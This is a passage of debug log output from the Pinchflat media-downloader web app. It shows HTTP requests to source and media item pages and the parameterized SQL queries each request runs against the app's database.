source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:20:32.567 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:32.568 [info] Sent 200 in 8ms 22:20:33.175 [info] GET /sources/2/edit 22:20:33.176 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:20:33.176 [debug] QUERY OK source="sources" db=0.1ms idle=610.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:33.176 [debug] QUERY OK source="media_profiles" db=0.1ms idle=609.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:20:33.177 [debug] QUERY OK source="settings" db=0.1ms idle=609.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.177 [debug] QUERY OK source="settings" db=0.1ms idle=609.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.177 [debug] QUERY OK source="settings" db=0.0ms idle=454.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.179 [info] Sent 200 in 3ms 22:20:33.778 [info] GET /sources/1/edit 22:20:33.778 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:33.779 [debug] QUERY OK source="sources" db=0.1ms idle=602.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:33.779 [debug] QUERY OK source="media_profiles" db=0.1ms idle=602.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:20:33.779 [debug] QUERY OK source="settings" db=0.1ms idle=602.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.780 [debug] QUERY OK source="settings" db=0.1ms idle=602.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.780 [debug] QUERY OK source="settings" db=0.1ms idle=54.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:33.782 [info] Sent 200 in 4ms 22:20:34.320 [info] GET /sources/1/media/91 22:20:34.320 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91", "source_id" => "1"} Pipelines: [:browser] 22:20:34.321 [debug] QUERY OK source="media_items" db=0.2ms idle=541.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 22:20:34.321 [debug] QUERY OK source="tasks" db=0.1ms idle=542.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91] 22:20:34.321 [debug] QUERY OK source="sources" db=0.1ms idle=541.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:34.322 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=542.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [90] 22:20:34.322 [debug] QUERY OK source="settings" db=0.1ms idle=541.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.322 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.323 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.323 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:34.325 [info] Sent 200 in 4ms 22:20:34.834 [info] GET /sources/1/media/44 22:20:34.834 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "44", "source_id" => "1"} Pipelines: [:browser] 22:20:34.834 [debug] QUERY OK source="media_items" db=0.1ms idle=511.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 22:20:34.835 [debug] QUERY OK source="tasks" db=0.1ms idle=512.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [44] 22:20:34.835 [debug] QUERY OK source="sources" db=0.2ms idle=511.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:34.835 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=511.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [47] 22:20:34.835 [debug] QUERY OK source="settings" db=0.1ms idle=109.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.836 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.836 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:34.837 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:34.880 [info] Sent 200 in 46ms 22:20:35.329 [info] GET /sources/2/media/66 22:20:35.330 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "66", "source_id" => "2"} Pipelines: [:browser] 22:20:35.331 [debug] QUERY OK source="media_items" db=0.3ms idle=495.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 22:20:35.332 [debug] QUERY OK source="tasks" db=0.3ms idle=495.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [66] 22:20:35.332 [debug] QUERY OK source="sources" db=0.4ms idle=495.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:35.333 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=496.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [71] 22:20:35.333 [debug] QUERY OK source="settings" db=0.1ms idle=496.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.334 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.334 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.336 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:35.341 [info] Sent 200 in 11ms 22:20:35.857 [info] GET /sources/2/media/70 22:20:35.857 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "70", "source_id" => "2"} Pipelines: [:browser] 22:20:35.858 [debug] QUERY OK source="media_items" db=0.3ms idle=524.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 22:20:35.859 [debug] QUERY OK source="tasks" db=0.2ms idle=524.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [70] 22:20:35.859 [debug] QUERY OK source="sources" db=0.4ms idle=523.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:35.860 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=523.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [75] 22:20:35.860 [debug] QUERY OK source="settings" db=0.2ms idle=133.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.861 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.861 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.862 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:35.867 [info] Sent 200 in 9ms 22:20:36.400 [info] GET /sources/2/media/86 22:20:36.400 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "86", "source_id" => "2"} Pipelines: [:browser] 22:20:36.401 [debug] QUERY OK source="media_items" db=0.1ms idle=540.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 22:20:36.401 [debug] QUERY OK source="tasks" db=0.1ms idle=540.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [86] 22:20:36.401 [debug] QUERY OK source="sources" db=0.2ms idle=540.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:36.401 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=540.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [84] 22:20:36.402 [debug] QUERY OK source="settings" db=0.1ms idle=539.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.402 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.402 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.403 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:36.404 [info] Sent 200 in 3ms 22:20:36.912 [info] GET /sources/1/media/90 22:20:36.912 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90", "source_id" => "1"} Pipelines: [:browser] 22:20:36.913 [debug] QUERY OK source="media_items" db=0.3ms idle=510.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 22:20:36.914 [debug] QUERY OK source="tasks" db=0.1ms idle=511.3ms SELECT 